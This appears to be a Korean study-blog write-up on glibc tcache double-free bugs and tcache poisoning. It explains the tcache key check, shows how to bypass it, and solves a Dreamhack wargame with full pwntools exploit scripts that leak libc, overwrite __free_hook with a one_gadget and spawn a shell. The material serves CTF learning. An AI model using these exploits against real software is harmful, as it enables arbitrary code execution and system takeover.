TIL: DFB, Tcache Poisoning ☠️

Double Free Bug

Double Free Bug (DFB)같은 chunk를 두 번 free할 수 있는 버그를 말한다.

이 버그를 사용하면 임의 주소 쓰기, 임의 주소 읽기, 임의 코드 실행 등이 가능하다.

초기에는 tcache에 보호 기법이 전무하여 Double Free를 이용한 exploit이 쉬웠지만, 최근에는 관련 보호 기법이 glibc에 구현되어 이를 우회할 필요가 있다.

Tcache DFB

tcache_entry

tcache_entryfree된 tcache chunk들이 갖는 구조이다. 일반 chunk의 fdnext라는 필드로 대체되고, LIFO로 사용되므로 bk에 대응되는 값은 없다.

tcache를 DFB로부터 보호하기 위해 key라는 pointer가 tcache_entry에 일반 chunk의 bk 자리에 추가되었다.

typedef struct tcache_entry {
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

tcache_put

tcache_putfreed chunk를 tcache에 추가하는 함수이다.

tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  assert(tc_idx < TCACHE_MAX_BINS);
  
  /* Mark this chunk as "in the tcache" so the test in _int_free will detect a
       double free.  */
  e->key = tcache;
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
  • tcache_put는 free되는 chunk의 key tcache라는 값을 대입한다.
    • 여기서 tcachetcache_perthread라는 variable를 가리킨다.

tcache_get

tcache_get는 tcache에 연결된 chunk를 다시 allocate할 때 사용하는 함수이다.

tcache_get (size_t tc_idx)
   assert (tcache->entries[tc_idx] > 0);
   tcache->entries[tc_idx] = e->next;
   --(tcache->counts[tc_idx]);
   e->key = NULL;
   return (void *) e;
 }
  • tcache_get는 다시 allocate하는 chunk의 key에 NULL을 대입한다.

_int_free

_int_free는 chunk를 free할 때 호출되는 함수이다.

_int_free (mstate av, mchunkptr p, int have_lock)
 #if USE_TCACHE
   {
     size_t tc_idx = csize2tidx (size);
     if (tcache != NULL && tc_idx < mp_.tcache_bins)
       {
        /* Check to see if it's already in the tcache.  */
        tcache_entry *e = (tcache_entry *) chunk2mem (p);
 
        /* This test succeeds on double free.  However, we don't 100%
           trust it (it also matches random payload data at a 1 in
           2^<size_t> chance), so verify it's not an unlikely
           coincidence before aborting.  */
        if (__glibc_unlikely (e->key == tcache))
          {
            tcache_entry *tmp;
            LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
            for (tmp = tcache->entries[tc_idx];
                 tmp;
                 tmp = tmp->next)
              if (tmp == e)
                malloc_printerr ("free(): double free detected in tcache 2");
            /* If we get here, it was a coincidence.  We've wasted a
               few cycles, but don't abort.  */
          }
 
        if (tcache->counts[tc_idx] < mp_.tcache_count)
          {
            tcache_put (p, tc_idx);
            return;
          }
       }
   }
 #endif
  • _int_free는 reallocate하려는 chunk의 key tcache이면 Double Free가 발생했다고 보고 프로그램을 abort한다.
  • 이외의 보호 기법은 없으므로 이 조건만 통과한다면 Double Free를 일으킬 수 있다.

Tcache Duplication

아래 코드는 tcache에 적용된 double free 보호 기법을 우회하여 DFB를 트리거한다.

// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c
#include <stdio.h>
#include <stdlib.h>

int main() {
  void *chunk = malloc(0x20);
  printf("Chunk to be double-freed: %p\n", chunk);

  free(chunk);
  *(char *)(chunk + 8) = 0xff;  // manipulate chunk->key
  free(chunk);                  // free chunk in twice

  printf("First allocation: %p\n", malloc(0x20));
  printf("Second allocation: %p\n", malloc(0x20));
  return 0;
}
  • *(char *)(chunk + 8) = 0xff;tcache_entrykey의 값을 한 byte만큼 바꿔 _int_free의 보호 기법을 우회했다.

Wargame: Tcache Poisoning

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  return 0;
}

Vulnerability Scanning

  • checksec

    • NX, FULL RELRO가 적용되어 있다. → Hook overwrite을 시도하자.
  • 임의의 크기로 chunk를 allocate 및 free할 수 있으며, chunk의 값을 조작하고 출력할 수도 있다. → DFB를 활용할 수 있다.

Tcache Poisoning

Tcache poisoning은 tcache를 조작하여 임의 주소에 chunk를 allocate하는 공격 기법을 말한다.

DFB가 일어나 하나의 chunk가 중복되어 tcache에 들어가게 된 후, 그 chunk를 reallocate한다면 그 chunk는 allocated chunk이면서 동시에 freed chunk가 된다.

이때 해당 allocated chunk의 값을 원하는 대로 수정할 수 있다면, 이 chunk의 fd bk를 원하는 대로 수정할 수 있게 된다. → tcache에 임의 주소를 추가할 수 있다. → 임의 주소에 chunk를 allocate할 수 있다. → 임의 주소 읽기 및 쓰기가 가능하다.

Exploit - Tcache Poisoning을 이용해 libc_base 알아내기

from pwn import *

p = process("./tcache_poison")
#p = remote("host3.dreamhack.games", 18280)
gdb.attach(p)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF("./libc-2.27.so")

def allocate(size, content):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", content)

def free():
    p.sendlineafter("Edit\n", "2")

def print_chunk():
    p.sendlineafter("Edit\n", "3")

def edit(content):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(": ", content)

allocate(0x30, "dreamhack")
free()

edit("A"*0x8 + "B") # overwrite tcache_entry->key
free() #

addr_stdout = e.symbols["stdout"]
allocate(0x30, p64(addr_stdout))

allocate(0x30, "BBBBBBBB")
allocate(0x30, "\x60")

print_chunk()

p.recvuntil("Content: ")
stdout = u64(p.recvn(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
#local
og = lb + 0x4f302
#remote
#og = lb + 0x4f432
free_hook = lb + libc.symbols["__free_hook"]
  • edit("A"*8 + "\x00") → chunk의 key를 변경하여 해당 chunk가 다시 한 번 free될 수 있도록 한다. → DFB가 일어날 수 있다.
  • 첫 번째 free() 이후 heap의 상태

    key가 0x1ec7010임을 확인할 수 있다.

  • edit("A"*8 + "B") 이후 heap의 상태

    key가 0x1ec7042로 변경되었다. (B = 0x42)

  • 두 번째 free() 이후 heap의 상태

    0x1ec7260에 있는 chunk가 tcache에 두 번 들어갔음을 확인할 수 있다. 즉, DFB가 일어났다.

  • allocate(0x30, p64(addr_stdout)) 이후 heap의 상태

    0x1ec7260에 있는 chunk의 fd값이 0x601010(addr_stdout)으로 변경되었다. → 0x601010에는 _IO_2_1_stdout_의 주소가 들어 있는데, 이 값이 fd로 인식되어 _IO_2_1_stdout_가 0x601010의 다음 chunk로 tcache에 들어왔다.

  • allocate(0x30, "BBBBBBBB") 이후 heap의 상태

    DFB가 일어났던 chunk가 재할당되어 dummy 값(”BBBBBBBB”)이 들어갔다. (LIFO 방식) tcache에는 0x601010과 이에 연결된 _IO_2_1_stdout_이 남아 있다.

  • allocate(0x30, "\x60") 이후 heap의 상태

    allocate(0x30, "\x60")이 할당한 pointer는 e.symbols["stdout"]이므로, 이 할당한 chunk의 값을 출력하면 _IO_2_1_stdout_의 값을 확인할 수 있다. 따라서 print_chunk()를 실행해 주소를 얻고, 이로부터 libc_base를 얻는다. 이후 hook overwrite를 위한 __free_hook의 주소와 og를 얻는다.

    이때 만약 “\x60”이 아닌 다른 값을 넣어줬다면 chunk에 담겨 있는 _IO_2_1_stdout_의 값이 변하게 된다. 다행히도 _IO_2_1_stdout_의 마지막 1.5 byte의 값은 변하지 않으므로 미리 gdb를 이용해 마지막 1.5 byte의 값을 확인해 allocate할 때 넣어줄 값을 확인할 수 있다.

Exploit - Tcache Poisoning을 이용해 Hook Overwrite하기

from pwn import *

p = process("./tcache_poison")
#p = remote("host3.dreamhack.games", 18280)
gdb.attach(p)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF("./libc-2.27.so")

def allocate(size, content):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", content)

def free():
    p.sendlineafter("Edit\n", "2")

def print_chunk():
    p.sendlineafter("Edit\n", "3")

def edit(content):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(": ", content)

allocate(0x30, "dreamhack")
free()

edit("A"*0x8 + "B")
free()

addr_stdout = e.symbols["stdout"]
allocate(0x30, p64(addr_stdout))

allocate(0x30, "BBBBBBBB")
allocate(0x30, "\x60")

print_chunk()

p.recvuntil("Content: ")
stdout = u64(p.recvn(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
#local
og = lb + 0x4f302
#remote
#og = lb + 0x4f432
free_hook = lb + libc.symbols["__free_hook"]

allocate(0x40, "dreamhack")
free()

edit("A"*0x8 + "\x00")
free()

allocate(0x40, p64(free_hook))

allocate(0x40, "BBBBBBBB")
allocate(0x40, p64(og))

free()

p.interactive()
  • 다시 DFB를 일으켜 __free_hookog로 overwrite한다.
  • DFB를 한 번 더 일으킬 때 주의해야 할 점은, 이전에 DFB를 일으켰던 size의 chunk를 다시 사용하는 것을 지양해야 한다는 점이다.

    첫 번째 DFB 때 사용한 0x40 size의 tcache_entry를 살펴보면, 마지막에 _IO_2_1_stdout_이 tcache_entry에 포함되어 있음을 알 수 있다. 이 상태에서 다시 allocate을 하고 그 chunk에 값을 입력하면 _IO_2_1_stdout_의 값이 변경되어 의도하지 않는 방식으로 프로그램이 작동할 수 있다.

  • 따라서 두 번째 DFB는 0x50 size의 chunk를 사용한다.
  • __free_hook og로 overwrite한 이후 free()를 실행하면 shell을 획득할 수 있다.

Categories: ,

Updated:

Leave a comment